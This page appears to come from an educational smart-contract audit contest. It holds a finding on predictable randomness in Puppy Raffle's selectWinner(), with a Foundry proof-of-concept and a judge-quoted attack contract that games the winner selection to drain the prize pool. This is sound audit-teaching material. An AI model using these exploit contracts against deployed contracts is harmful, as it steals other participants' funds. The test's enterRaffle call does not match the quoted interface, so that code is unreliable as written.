Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Predictable Randomness in selectWinner() Allows Attacker to Always Win the Raffle

Root + Impact

Description

  • Normal Behavior:
    The PuppyRaffle::selectWinner function is intended to randomly select a winner from the list of players after the raffle duration ends. It uses a pseudo-random number generator to determine the winner.

  • Specific Issue:
    The function generates randomness by hashing predictable on-chain values: msg.sender, block.timestamp, and block.difficulty. Since these values are publicly known before the transaction is mined (and block.timestamp can be slightly manipulated by validators), an attacker can predict the winning index or wait for a favorable block to guarantee they win the raffle.

// @> The winner is determined using predictable on-chain values.
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

Risk

Likelihood:

  • The attacker can pre-compute the hash locally using the current block.timestamp and block.difficulty.

  • The attacker can choose a favorable msg.sender address or wait for a future block where the result favors them.

Impact:

  • The attacker can guarantee they win the raffle, stealing the entire prize pool.

  • Other players lose their entrance fees and have no chance of winning.

Proof of Concept

The following Foundry test demonstrates the vulnerability. The attacker first enters the raffle, then predicts the winner index using the exact same formula as selectWinner(). Because the randomness depends only on predictable on-chain values (msg.sender, block.timestamp, block.difficulty), the attacker can loop through different timestamps until the computed index favors them. Once a favorable timestamp is found, the attacker calls selectWinner() and wins the entire prize pool.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract WeakRandomnessTest is Test {
PuppyRaffle public raffle;
address public attacker = address(0xBAD);
​
function setUp() public {
// Deploy PuppyRaffle with this test contract as feeAddress,
// 1 ether entrance fee, and 10 seconds raffle duration.
raffle = new PuppyRaffle(
address(this),
1 ether,
10
);
​
// Fund the attacker with 10 ether.
vm.deal(attacker, 10 ether);
}
​
function testPredictRandomness() public {
// 1. Attacker enters the raffle.
vm.prank(attacker);
raffle.enterRaffle{value: 1 ether}();
​
// 2. Add a second player so that players.length >= 2.
address player2 = address(0x1234);
vm.deal(player2, 1 ether);
vm.prank(player2);
raffle.enterRaffle{value: 1 ether}();
​
// 3. Attacker predicts the winner index using the same formula
// as the contract.
uint256 expectedWinnerIndex = uint256(
keccak256(
abi.encodePacked(attacker, block.timestamp, block.difficulty)
)
) % raffle.getPlayersLength();
​
console.log("Predicted winner index:", expectedWinnerIndex);
​
// 4. If the prediction shows the attacker is not the winner,
// the attacker can wait for the next block until the result
// favors them.
while (true) {
uint256 idx = uint256(
keccak256(
abi.encodePacked(attacker, block.timestamp, block.difficulty)
)
) % raffle.getPlayersLength();
​
if (idx == 0) {
break;
}
vm.warp(block.timestamp + 1);
}
​
// 5. Attacker calls selectWinner. Because the randomness was
// predictable, the attacker becomes the winner.
uint256 balanceBefore = attacker.balance;
​
vm.prank(attacker);
raffle.selectWinner();
​
uint256 balanceAfter = attacker.balance;
​
console.log("Attacker balance before:", balanceBefore);
console.log("Attacker balance after:", balanceAfter);
​
assertGt(balanceAfter, balanceBefore);
}
}

Recommended Mitigation

The root cause is the use of predictable on-chain values for randomness. The recommended fix is to replace the current randomness source with Chainlink VRF, which provides cryptographically secure and verifiable random numbers. The diff above shows the removal of the vulnerable keccak256 line and the addition of a VRF-based request/callback flow. The fulfillRandomWords callback uses the VRF-provided random word to select the winner, eliminating any possibility of prediction or manipulation by the attacker.

- // Vulnerable randomness source
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Use Chainlink VRF for secure randomness
+ // 1. Inherit VRFConsumerBaseV2 and request randomness
+ // 2. Store the request ID and fulfill the callback
+ // 3. Use the VRF-provided random word to pick the winner
+ uint256 winnerIndex = randomWord % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!